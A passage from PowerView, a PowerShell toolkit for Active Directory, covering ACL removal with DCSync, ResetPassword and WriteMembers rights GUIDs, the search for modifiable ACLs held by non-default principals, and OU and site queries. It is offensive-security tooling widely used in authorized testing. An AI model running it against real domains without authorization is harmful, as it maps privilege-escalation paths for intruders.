   8799             'Properties' = 'distinguishedname,objectsid'
   8800         }
   8801         if ($PSBoundParameters['PrincipalDomain']) { $PrincipalSearcherArguments['Domain'] = $PrincipalDomain }
   8802         if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] = $Server }
   8803         if ($PSBoundParameters['SearchScope']) { $PrincipalSearcherArguments['SearchScope'] = $SearchScope }
   8804         if ($PSBoundParameters['ResultPageSize']) { $PrincipalSearcherArguments['ResultPageSize'] = $ResultPageSize }
   8805         if ($PSBoundParameters['ServerTimeLimit']) { $PrincipalSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
   8806         if ($PSBoundParameters['Tombstone']) { $PrincipalSearcherArguments['Tombstone'] = $Tombstone }
   8807         if ($PSBoundParameters['Credential']) { $PrincipalSearcherArguments['Credential'] = $Credential }
   8808         $Principals = Get-DomainObject @PrincipalSearcherArguments
   8809         if (-not $Principals) {
   8810             throw "Unable to resolve principal: $PrincipalIdentity"
   8811         }
   8812     }
   8813 
   8814     PROCESS {
   8815         $TargetSearcherArguments['Identity'] = $TargetIdentity
   8816         $Targets = Get-DomainObject @TargetSearcherArguments
   8817 
   8818         ForEach ($TargetObject in $Targets) {
   8819 
   8820             $InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] 'None'
   8821             $ControlType = [System.Security.AccessControl.AccessControlType] 'Allow'
   8822             $ACEs = @()
   8823 
   8824             if ($RightsGUID) {
   8825                 $GUIDs = @($RightsGUID)
   8826             }
   8827             else {
   8828                 $GUIDs = Switch ($Rights) {
   8829                     # ResetPassword doesn't need to know the user's current password
   8830                     'ResetPassword' { '00299570-246d-11d0-a768-00aa006e0529' }
   8831                     # allows for the modification of group membership
   8832                     'WriteMembers' { 'bf9679c0-0de6-11d0-a285-00aa003049e2' }
   8833                     # 'DS-Replication-Get-Changes' = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
   8834                     # 'DS-Replication-Get-Changes-All' = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
   8835                     # 'DS-Replication-Get-Changes-In-Filtered-Set' = 89e95b76-444d-4c62-991a-0facbeda640c
   8836                     #   when applied to a domain's ACL, allows for the use of DCSync
   8837                     'DCSync' { '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', '89e95b76-444d-4c62-991a-0facbeda640c'}
   8838                 }
   8839             }
   8840 
   8841             ForEach ($PrincipalObject in $Principals) {
   8842                 Write-Verbose "[Remove-DomainObjectAcl] Removing principal $($PrincipalObject.distinguishedname) '$Rights' from $($TargetObject.Properties.distinguishedname)"
   8843 
   8844                 try {
   8845                     $Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$PrincipalObject.objectsid)
   8846 
   8847                     if ($GUIDs) {
   8848                         ForEach ($GUID in $GUIDs) {
   8849                             $NewGUID = New-Object Guid $GUID
   8850                             $ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'ExtendedRight'
   8851                             $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $NewGUID, $InheritanceType
   8852                         }
   8853                     }
   8854                     else {
   8855                         # deault to GenericAll rights
   8856                         $ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'GenericAll'
   8857                         $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $InheritanceType
   8858                     }
   8859 
   8860                     # remove all the specified ACEs from the specified object directory entry
   8861                     ForEach ($ACE in $ACEs) {
   8862                         Write-Verbose "[Remove-DomainObjectAcl] Granting principal $($PrincipalObject.distinguishedname) rights GUID '$($ACE.ObjectType)' on $($TargetObject.Properties.distinguishedname)"
   8863                         $TargetEntry = $TargetObject.GetDirectoryEntry()
   8864                         $TargetEntry.PsBase.Options.SecurityMasks = 'Dacl'
   8865                         $TargetEntry.PsBase.ObjectSecurity.RemoveAccessRule($ACE)
   8866                         $TargetEntry.PsBase.CommitChanges()
   8867                     }
   8868                 }
   8869                 catch {
   8870                     Write-Verbose "[Remove-DomainObjectAcl] Error removing principal $($PrincipalObject.distinguishedname) '$Rights' from $($TargetObject.Properties.distinguishedname) : $_"
   8871                 }
   8872             }
   8873         }
   8874     }
   8875 }
   8876 
   8877 
   8878 function Find-InterestingDomainAcl {
   8879 <#
   8880 .SYNOPSIS
   8881 
   8882 Finds object ACLs in the current (or specified) domain with modification
   8883 rights set to non-built in objects.
   8884 
   8885 Thanks Sean Metcalf (@pyrotek3) for the idea and guidance.
   8886 
   8887 Author: Will Schroeder (@harmj0y)  
   8888 License: BSD 3-Clause  
   8889 Required Dependencies: Get-DomainObjectAcl, Get-DomainObject, Convert-ADName  
   8890 
   8891 .DESCRIPTION
   8892 
   8893 This function enumerates the ACLs for every object in the domain with Get-DomainObjectAcl,
   8894 and for each returned ACE entry it checks if principal security identifier
   8895 is *-1000 (meaning the account is not built in), and also checks if the rights for
   8896 the ACE mean the object can be modified by the principal. If these conditions are met,
   8897 then the security identifier SID is translated, the domain object is retrieved, and
   8898 additional IdentityReference* information is appended to the output object.
   8899 
   8900 .PARAMETER Domain
   8901 
   8902 Specifies the domain to use for the query, defaults to the current domain.
   8903 
   8904 .PARAMETER ResolveGUIDs
   8905 
   8906 Switch. Resolve GUIDs to their display names.
   8907 
   8908 .PARAMETER LDAPFilter
   8909 
   8910 Specifies an LDAP query string that is used to filter Active Directory objects.
   8911 
   8912 .PARAMETER SearchBase
   8913 
   8914 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
   8915 Useful for OU queries.
   8916 
   8917 .PARAMETER Server
   8918 
   8919 Specifies an Active Directory server (domain controller) to bind to.
   8920 
   8921 .PARAMETER SearchScope
   8922 
   8923 Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
   8924 
   8925 .PARAMETER ResultPageSize
   8926 
   8927 Specifies the PageSize to set for the LDAP searcher object.
   8928 
   8929 .PARAMETER ServerTimeLimit
   8930 
   8931 Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
   8932 
   8933 .PARAMETER Tombstone
   8934 
   8935 Switch. Specifies that the searcher should also return deleted/tombstoned objects.
   8936 
   8937 .PARAMETER Credential
   8938 
   8939 A [Management.Automation.PSCredential] object of alternate credentials
   8940 for connection to the target domain.
   8941 
   8942 .EXAMPLE
   8943 
   8944 Find-InterestingDomainAcl
   8945 
   8946 Finds interesting object ACLS in the current domain.
   8947 
   8948 .EXAMPLE
   8949 
   8950 Find-InterestingDomainAcl -Domain dev.testlab.local -ResolveGUIDs
   8951 
   8952 Finds interesting object ACLS in the ev.testlab.local domain and
   8953 resolves rights GUIDs to display names.
   8954 
   8955 .EXAMPLE
   8956 
   8957 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
   8958 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
   8959 Find-InterestingDomainAcl -Credential $Cred -ResolveGUIDs
   8960 
   8961 .OUTPUTS
   8962 
   8963 PowerView.ACL
   8964 
   8965 Custom PSObject with ACL entries.
   8966 #>
   8967 
   8968     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
   8969     [OutputType('PowerView.ACL')]
   8970     [CmdletBinding()]
   8971     Param (
   8972         [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
   8973         [Alias('DomainName', 'Name')]
   8974         [String]
   8975         $Domain,
   8976 
   8977         [Switch]
   8978         $ResolveGUIDs,
   8979 
   8980         [String]
   8981         [ValidateSet('All', 'ResetPassword', 'WriteMembers')]
   8982         $RightsFilter,
   8983 
   8984         [ValidateNotNullOrEmpty()]
   8985         [Alias('Filter')]
   8986         [String]
   8987         $LDAPFilter,
   8988 
   8989         [ValidateNotNullOrEmpty()]
   8990         [Alias('ADSPath')]
   8991         [String]
   8992         $SearchBase,
   8993 
   8994         [ValidateNotNullOrEmpty()]
   8995         [Alias('DomainController')]
   8996         [String]
   8997         $Server,
   8998 
   8999         [ValidateSet('Base', 'OneLevel', 'Subtree')]
   9000         [String]
   9001         $SearchScope = 'Subtree',
   9002 
   9003         [ValidateRange(1, 10000)]
   9004         [Int]
   9005         $ResultPageSize = 200,
   9006 
   9007         [ValidateRange(1, 10000)]
   9008         [Int]
   9009         $ServerTimeLimit,
   9010 
   9011         [Switch]
   9012         $Tombstone,
   9013 
   9014         [Management.Automation.PSCredential]
   9015         [Management.Automation.CredentialAttribute()]
   9016         $Credential = [Management.Automation.PSCredential]::Empty
   9017     )
   9018 
   9019     BEGIN {
   9020         $ACLArguments = @{}
   9021         if ($PSBoundParameters['ResolveGUIDs']) { $ACLArguments['ResolveGUIDs'] = $ResolveGUIDs }
   9022         if ($PSBoundParameters['RightsFilter']) { $ACLArguments['RightsFilter'] = $RightsFilter }
   9023         if ($PSBoundParameters['LDAPFilter']) { $ACLArguments['LDAPFilter'] = $LDAPFilter }
   9024         if ($PSBoundParameters['SearchBase']) { $ACLArguments['SearchBase'] = $SearchBase }
   9025         if ($PSBoundParameters['Server']) { $ACLArguments['Server'] = $Server }
   9026         if ($PSBoundParameters['SearchScope']) { $ACLArguments['SearchScope'] = $SearchScope }
   9027         if ($PSBoundParameters['ResultPageSize']) { $ACLArguments['ResultPageSize'] = $ResultPageSize }
   9028         if ($PSBoundParameters['ServerTimeLimit']) { $ACLArguments['ServerTimeLimit'] = $ServerTimeLimit }
   9029         if ($PSBoundParameters['Tombstone']) { $ACLArguments['Tombstone'] = $Tombstone }
   9030         if ($PSBoundParameters['Credential']) { $ACLArguments['Credential'] = $Credential }
   9031 
   9032         $ObjectSearcherArguments = @{
   9033             'Properties' = 'samaccountname,objectclass'
   9034             'Raw' = $True
   9035         }
   9036         if ($PSBoundParameters['Server']) { $ObjectSearcherArguments['Server'] = $Server }
   9037         if ($PSBoundParameters['SearchScope']) { $ObjectSearcherArguments['SearchScope'] = $SearchScope }
   9038         if ($PSBoundParameters['ResultPageSize']) { $ObjectSearcherArguments['ResultPageSize'] = $ResultPageSize }
   9039         if ($PSBoundParameters['ServerTimeLimit']) { $ObjectSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
   9040         if ($PSBoundParameters['Tombstone']) { $ObjectSearcherArguments['Tombstone'] = $Tombstone }
   9041         if ($PSBoundParameters['Credential']) { $ObjectSearcherArguments['Credential'] = $Credential }
   9042 
   9043         $ADNameArguments = @{}
   9044         if ($PSBoundParameters['Server']) { $ADNameArguments['Server'] = $Server }
   9045         if ($PSBoundParameters['Credential']) { $ADNameArguments['Credential'] = $Credential }
   9046 
   9047         # ongoing list of built-up SIDs
   9048         $ResolvedSIDs = @{}
   9049     }
   9050 
   9051     PROCESS {
   9052         if ($PSBoundParameters['Domain']) {
   9053             $ACLArguments['Domain'] = $Domain
   9054             $ADNameArguments['Domain'] = $Domain
   9055         }
   9056 
   9057         Get-DomainObjectAcl @ACLArguments | ForEach-Object {
   9058 
   9059             if ( ($_.ActiveDirectoryRights -match 'GenericAll|Write|Create|Delete') -or (($_.ActiveDirectoryRights -match 'ExtendedRight') -and ($_.AceQualifier -match 'Allow'))) {
   9060                 # only process SIDs > 1000
   9061                 if ($_.SecurityIdentifier.Value -match '^S-1-5-.*-[1-9]\d{3,}$') {
   9062                     if ($ResolvedSIDs[$_.SecurityIdentifier.Value]) {
   9063                         $IdentityReferenceName, $IdentityReferenceDomain, $IdentityReferenceDN, $IdentityReferenceClass = $ResolvedSIDs[$_.SecurityIdentifier.Value]
   9064 
   9065                         $InterestingACL = New-Object PSObject
   9066                         $InterestingACL | Add-Member NoteProperty 'ObjectDN' $_.ObjectDN
   9067                         $InterestingACL | Add-Member NoteProperty 'AceQualifier' $_.AceQualifier
   9068                         $InterestingACL | Add-Member NoteProperty 'ActiveDirectoryRights' $_.ActiveDirectoryRights
   9069                         if ($_.ObjectAceType) {
   9070                             $InterestingACL | Add-Member NoteProperty 'ObjectAceType' $_.ObjectAceType
   9071                         }
   9072                         else {
   9073                             $InterestingACL | Add-Member NoteProperty 'ObjectAceType' 'None'
   9074                         }
   9075                         $InterestingACL | Add-Member NoteProperty 'AceFlags' $_.AceFlags
   9076                         $InterestingACL | Add-Member NoteProperty 'AceType' $_.AceType
   9077                         $InterestingACL | Add-Member NoteProperty 'InheritanceFlags' $_.InheritanceFlags
   9078                         $InterestingACL | Add-Member NoteProperty 'SecurityIdentifier' $_.SecurityIdentifier
   9079                         $InterestingACL | Add-Member NoteProperty 'IdentityReferenceName' $IdentityReferenceName
   9080                         $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDomain' $IdentityReferenceDomain
   9081                         $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDN' $IdentityReferenceDN
   9082                         $InterestingACL | Add-Member NoteProperty 'IdentityReferenceClass' $IdentityReferenceClass
   9083                         $InterestingACL
   9084                     }
   9085                     else {
   9086                         $IdentityReferenceDN = Convert-ADName -Identity $_.SecurityIdentifier.Value -OutputType DN @ADNameArguments
   9087                         # "IdentityReferenceDN: $IdentityReferenceDN"
   9088 
   9089                         if ($IdentityReferenceDN) {
   9090                             $IdentityReferenceDomain = $IdentityReferenceDN.SubString($IdentityReferenceDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
   9091                             # "IdentityReferenceDomain: $IdentityReferenceDomain"
   9092                             $ObjectSearcherArguments['Domain'] = $IdentityReferenceDomain
   9093                             $ObjectSearcherArguments['Identity'] = $IdentityReferenceDN
   9094                             # "IdentityReferenceDN: $IdentityReferenceDN"
   9095                             $Object = Get-DomainObject @ObjectSearcherArguments
   9096 
   9097                             if ($Object) {
   9098                                 $IdentityReferenceName = $Object.Properties.samaccountname[0]
   9099                                 if ($Object.Properties.objectclass -match 'computer') {
   9100                                     $IdentityReferenceClass = 'computer'
   9101                                 }
   9102                                 elseif ($Object.Properties.objectclass -match 'group') {
   9103                                     $IdentityReferenceClass = 'group'
   9104                                 }
   9105                                 elseif ($Object.Properties.objectclass -match 'user') {
   9106                                     $IdentityReferenceClass = 'user'
   9107                                 }
   9108                                 else {
   9109                                     $IdentityReferenceClass = $Null
   9110                                 }
   9111 
   9112                                 # save so we don't look up more than once
   9113                                 $ResolvedSIDs[$_.SecurityIdentifier.Value] = $IdentityReferenceName, $IdentityReferenceDomain, $IdentityReferenceDN, $IdentityReferenceClass
   9114 
   9115                                 $InterestingACL = New-Object PSObject
   9116                                 $InterestingACL | Add-Member NoteProperty 'ObjectDN' $_.ObjectDN
   9117                                 $InterestingACL | Add-Member NoteProperty 'AceQualifier' $_.AceQualifier
   9118                                 $InterestingACL | Add-Member NoteProperty 'ActiveDirectoryRights' $_.ActiveDirectoryRights
   9119                                 if ($_.ObjectAceType) {
   9120                                     $InterestingACL | Add-Member NoteProperty 'ObjectAceType' $_.ObjectAceType
   9121                                 }
   9122                                 else {
   9123                                     $InterestingACL | Add-Member NoteProperty 'ObjectAceType' 'None'
   9124                                 }
   9125                                 $InterestingACL | Add-Member NoteProperty 'AceFlags' $_.AceFlags
   9126                                 $InterestingACL | Add-Member NoteProperty 'AceType' $_.AceType
   9127                                 $InterestingACL | Add-Member NoteProperty 'InheritanceFlags' $_.InheritanceFlags
   9128                                 $InterestingACL | Add-Member NoteProperty 'SecurityIdentifier' $_.SecurityIdentifier
   9129                                 $InterestingACL | Add-Member NoteProperty 'IdentityReferenceName' $IdentityReferenceName
   9130                                 $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDomain' $IdentityReferenceDomain
   9131                                 $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDN' $IdentityReferenceDN
   9132                                 $InterestingACL | Add-Member NoteProperty 'IdentityReferenceClass' $IdentityReferenceClass
   9133                                 $InterestingACL
   9134                             }
   9135                         }
   9136                         else {
   9137                             Write-Warning "[Find-InterestingDomainAcl] Unable to convert SID '$($_.SecurityIdentifier.Value )' to a distinguishedname with Convert-ADName"
   9138                         }
   9139                     }
   9140                 }
   9141             }
   9142         }
   9143     }
   9144 }
   9145 
   9146 
   9147 function Get-DomainOU {
   9148 <#
   9149 .SYNOPSIS
   9150 
   9151 Search for all organization units (OUs) or specific OU objects in AD.
   9152 
   9153 Author: Will Schroeder (@harmj0y)  
   9154 License: BSD 3-Clause  
   9155 Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty  
   9156 
   9157 .DESCRIPTION
   9158 
   9159 Builds a directory searcher object using Get-DomainSearcher, builds a custom
   9160 LDAP filter based on targeting/filter parameters, and searches for all objects
   9161 matching the criteria. To only return specific properties, use
   9162 "-Properties whencreated,usnchanged,...". By default, all OU objects for
   9163 the current domain are returned.
   9164 
   9165 .PARAMETER Identity
   9166 
   9167 An OU name (e.g. TestOU), DistinguishedName (e.g. OU=TestOU,DC=testlab,DC=local), or
   9168 GUID (e.g. 8a9ba22a-8977-47e6-84ce-8c26af4e1e6a). Wildcards accepted.
   9169 
   9170 .PARAMETER GPLink
   9171 
   9172 Only return OUs with the specified GUID in their gplink property.
   9173 
   9174 .PARAMETER Domain
   9175 
   9176 Specifies the domain to use for the query, defaults to the current domain.
   9177 
   9178 .PARAMETER LDAPFilter
   9179 
   9180 Specifies an LDAP query string that is used to filter Active Directory objects.
   9181 
   9182 .PARAMETER Properties
   9183 
   9184 Specifies the properties of the output object to retrieve from the server.
   9185 
   9186 .PARAMETER SearchBase
   9187 
   9188 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
   9189 Useful for OU queries.
   9190 
   9191 .PARAMETER Server
   9192 
   9193 Specifies an Active Directory server (domain controller) to bind to.
   9194 
   9195 .PARAMETER SearchScope
   9196 
   9197 Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
   9198 
   9199 .PARAMETER ResultPageSize
   9200 
   9201 Specifies the PageSize to set for the LDAP searcher object.
   9202 
   9203 .PARAMETER ServerTimeLimit
   9204 
   9205 Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
   9206 
   9207 .PARAMETER SecurityMasks
   9208 
   9209 Specifies an option for examining security information of a directory object.
   9210 One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
   9211 
   9212 .PARAMETER FindOne
   9213 
   9214 Only return one result object.
   9215 
   9216 .PARAMETER Tombstone
   9217 
   9218 Switch. Specifies that the searcher should also return deleted/tombstoned objects.
   9219 
   9220 .PARAMETER Credential
   9221 
   9222 A [Management.Automation.PSCredential] object of alternate credentials
   9223 for connection to the target domain.
   9224 
   9225 .PARAMETER Raw
   9226 
   9227 Switch. Return raw results instead of translating the fields into a custom PSObject.
   9228 
   9229 .EXAMPLE
   9230 
   9231 Get-DomainOU
   9232 
   9233 Returns the current OUs in the domain.
   9234 
   9235 .EXAMPLE
   9236 
   9237 Get-DomainOU *admin* -Domain testlab.local
   9238 
   9239 Returns all OUs with "admin" in their name in the testlab.local domain.
   9240 
   9241 .EXAMPLE
   9242 
   9243 Get-DomainOU -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272"
   9244 
   9245 Returns all OUs with linked to the specified group policy object.
   9246 
   9247 .EXAMPLE
   9248 
   9249 "*admin*","*server*" | Get-DomainOU
   9250 
   9251 Search for OUs with the specific names.
   9252 
   9253 .EXAMPLE
   9254 
   9255 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
   9256 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
   9257 Get-DomainOU -Credential $Cred
   9258 
   9259 .OUTPUTS
   9260 
   9261 PowerView.OU
   9262 
   9263 Custom PSObject with translated OU property fields.
   9264 #>
   9265 
   9266     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
   9267     [OutputType('PowerView.OU')]
   9268     [CmdletBinding()]
   9269     Param (
   9270         [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
   9271         [Alias('Name')]
   9272         [String[]]
   9273         $Identity,
   9274 
   9275         [ValidateNotNullOrEmpty()]
   9276         [String]
   9277         [Alias('GUID')]
   9278         $GPLink,
   9279 
   9280         [ValidateNotNullOrEmpty()]
   9281         [String]
   9282         $Domain,
   9283 
   9284         [ValidateNotNullOrEmpty()]
   9285         [Alias('Filter')]
   9286         [String]
   9287         $LDAPFilter,
   9288 
   9289         [ValidateNotNullOrEmpty()]
   9290         [String[]]
   9291         $Properties,
   9292 
   9293         [ValidateNotNullOrEmpty()]
   9294         [Alias('ADSPath')]
   9295         [String]
   9296         $SearchBase,
   9297 
   9298         [ValidateNotNullOrEmpty()]
   9299         [Alias('DomainController')]
   9300         [String]
   9301         $Server,
   9302 
   9303         [ValidateSet('Base', 'OneLevel', 'Subtree')]
   9304         [String]
   9305         $SearchScope = 'Subtree',
   9306 
   9307         [ValidateRange(1, 10000)]
   9308         [Int]
   9309         $ResultPageSize = 200,
   9310 
   9311         [ValidateRange(1, 10000)]
   9312         [Int]
   9313         $ServerTimeLimit,
   9314 
   9315         [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
   9316         [String]
   9317         $SecurityMasks,
   9318 
   9319         [Switch]
   9320         $Tombstone,
   9321 
   9322         [Alias('ReturnOne')]
   9323         [Switch]
   9324         $FindOne,
   9325 
   9326         [Management.Automation.PSCredential]
   9327         [Management.Automation.CredentialAttribute()]
   9328         $Credential = [Management.Automation.PSCredential]::Empty,
   9329 
   9330         [Switch]
   9331         $Raw
   9332     )
   9333 
   9334     BEGIN {
   9335         $SearcherArguments = @{}
   9336         if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
   9337         if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
   9338         if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
   9339         if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
   9340         if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
   9341         if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
   9342         if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
   9343         if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
   9344         if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
   9345         if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
   9346         $OUSearcher = Get-DomainSearcher @SearcherArguments
   9347     }
   9348 
   9349     PROCESS {
   9350         if ($OUSearcher) {
   9351             $IdentityFilter = ''
   9352             $Filter = ''
   9353             $Identity | Where-Object {$_} | ForEach-Object {
   9354                 $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
   9355                 if ($IdentityInstance -match '^OU=.*') {
   9356                     $IdentityFilter += "(distinguishedname=$IdentityInstance)"
   9357                     if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
   9358                         # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
   9359                         #   and rebuild the domain searcher
   9360                         $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
   9361                         Write-Verbose "[Get-DomainOU] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
   9362                         $SearcherArguments['Domain'] = $IdentityDomain
   9363                         $OUSearcher = Get-DomainSearcher @SearcherArguments
   9364                         if (-not $OUSearcher) {
   9365                             Write-Warning "[Get-DomainOU] Unable to retrieve domain searcher for '$IdentityDomain'"
   9366                         }
   9367                     }
   9368                 }
   9369                 else {
   9370                     try {
   9371                         $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1'
   9372                         $IdentityFilter += "(objectguid=$GuidByteString)"
   9373                     }
   9374                     catch {
   9375                         $IdentityFilter += "(name=$IdentityInstance)"
   9376                     }
   9377                 }
   9378             }
   9379             if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
   9380                 $Filter += "(|$IdentityFilter)"
   9381             }
   9382 
   9383             if ($PSBoundParameters['GPLink']) {
   9384                 Write-Verbose "[Get-DomainOU] Searching for OUs with $GPLink set in the gpLink property"
   9385                 $Filter += "(gplink=*$GPLink*)"
   9386             }
   9387 
   9388             if ($PSBoundParameters['LDAPFilter']) {
   9389                 Write-Verbose "[Get-DomainOU] Using additional LDAP filter: $LDAPFilter"
   9390                 $Filter += "$LDAPFilter"
   9391             }
   9392 
   9393             $OUSearcher.filter = "(&(objectCategory=organizationalUnit)$Filter)"
   9394             Write-Verbose "[Get-DomainOU] Get-DomainOU filter string: $($OUSearcher.filter)"
   9395 
   9396             if ($PSBoundParameters['FindOne']) { $Results = $OUSearcher.FindOne() }
   9397             else { $Results = $OUSearcher.FindAll() }
   9398             $Results | Where-Object {$_} | ForEach-Object {
   9399                 if ($PSBoundParameters['Raw']) {
   9400                     # return raw result objects
   9401                     $OU = $_
   9402                 }
   9403                 else {
   9404                     $OU = Convert-LDAPProperty -Properties $_.Properties
   9405                 }
   9406                 $OU.PSObject.TypeNames.Insert(0, 'PowerView.OU')
   9407                 $OU
   9408             }
   9409             if ($Results) {
   9410                 try { $Results.dispose() }
   9411                 catch {
   9412                     Write-Verbose "[Get-DomainOU] Error disposing of the Results object: $_"
   9413                 }
   9414             }
   9415             $OUSearcher.dispose()
   9416         }
   9417     }
   9418 }
   9419 
   9420 
   9421 function Get-DomainSite {
   9422 <#
   9423 .SYNOPSIS
   9424 
   9425 Search for all sites or specific site objects in AD.
   9426 
   9427 Author: Will Schroeder (@harmj0y)  
   9428 License: BSD 3-Clause  
   9429 Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty  
   9430 
   9431 .DESCRIPTION
   9432 
   9433 Builds a directory searcher object using Get-DomainSearcher, builds a custom
   9434 LDAP filter based on targeting/filter parameters, and searches for all objects
   9435 matching the criteria. To only return specific properties, use
   9436 "-Properties whencreated,usnchanged,...". By default, all site objects for
   9437 the current domain are returned.
   9438 
   9439 .PARAMETER Identity
   9440 
   9441 An site name (e.g. Test-Site), DistinguishedName (e.g. CN=Test-Site,CN=Sites,CN=Configuration,DC=testlab,DC=local), or
   9442 GUID (e.g. c37726ef-2b64-4524-b85b-6a9700c234dd). Wildcards accepted.
   9443 
   9444 .PARAMETER GPLink
   9445 
   9446 Only return sites with the specified GUID in their gplink property.
   9447 
   9448 .PARAMETER Domain
   9449 
   9450 Specifies the domain to use for the query, defaults to the current domain.
   9451 
   9452 .PARAMETER LDAPFilter
   9453 
   9454 Specifies an LDAP query string that is used to filter Active Directory objects.
   9455 
   9456 .PARAMETER Properties
   9457 
   9458 Specifies the properties of the output object to retrieve from the server.
   9459 
   9460 .PARAMETER SearchBase
   9461 
   9462 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
   9463 Useful for OU queries.
   9464 
   9465 .PARAMETER Server
   9466 
   9467 Specifies an Active Directory server (domain controller) to bind to.
   9468 
   9469 .PARAMETER SearchScope
   9470 
   9471 Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
   9472 
   9473 .PARAMETER ResultPageSize
   9474 
   9475 Specifies the PageSize to set for the LDAP searcher object.
   9476 
   9477 .PARAMETER ServerTimeLimit
   9478 
   9479 Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
   9480 
   9481 .PARAMETER SecurityMasks
   9482 
   9483 Specifies an option for examining security information of a directory object.
   9484 One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
   9485 
   9486 .PARAMETER Tombstone
   9487 
   9488 Switch. Specifies that the searcher should also return deleted/tombstoned objects.
   9489 
   9490 .PARAMETER FindOne
   9491 
   9492 Only return one result object.
   9493 
   9494 .PARAMETER Credential
   9495 
   9496 A [Management.Automation.PSCredential] object of alternate credentials
   9497 for connection to the target domain.
   9498 
   9499 .PARAMETER Raw
   9500 
   9501 Switch. Return raw results instead of translating the fields into a custom PSObject.
   9502 
   9503 .EXAMPLE
   9504 
   9505 Get-DomainSite
   9506 
   9507 Returns the current sites in the domain.
   9508 
   9509 .EXAMPLE
   9510 
   9511 Get-DomainSite *admin* -Domain testlab.local
   9512 
   9513 Returns all sites with "admin" in their name in the testlab.local domain.
   9514 
   9515 .EXAMPLE
   9516 
   9517 Get-DomainSite -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272"
   9518 
   9519 Returns all sites with linked to the specified group policy object.
   9520 
   9521 .EXAMPLE
   9522 
   9523 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
   9524 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
   9525 Get-DomainSite -Credential $Cred
   9526 
   9527 .OUTPUTS
   9528 
   9529 PowerView.Site
   9530 
   9531 Custom PSObject with translated site property fields.
   9532 #>
   9533 
   9534     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
   9535     [OutputType('PowerView.Site')]
   9536     [CmdletBinding()]
   9537     Param (
   9538         [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
   9539         [Alias('Name')]
   9540         [String[]]
   9541         $Identity,
   9542 
   9543         [ValidateNotNullOrEmpty()]
   9544         [String]
   9545         [Alias('GUID')]
   9546         $GPLink,
   9547 
   9548         [ValidateNotNullOrEmpty()]
   9549         [String]
   9550         $Domain,
   9551 
   9552         [ValidateNotNullOrEmpty()]
   9553         [Alias('Filter')]
   9554         [String]
   9555         $LDAPFilter,
   9556 
   9557         [ValidateNotNullOrEmpty()]
   9558         [String[]]
   9559         $Properties,
   9560 
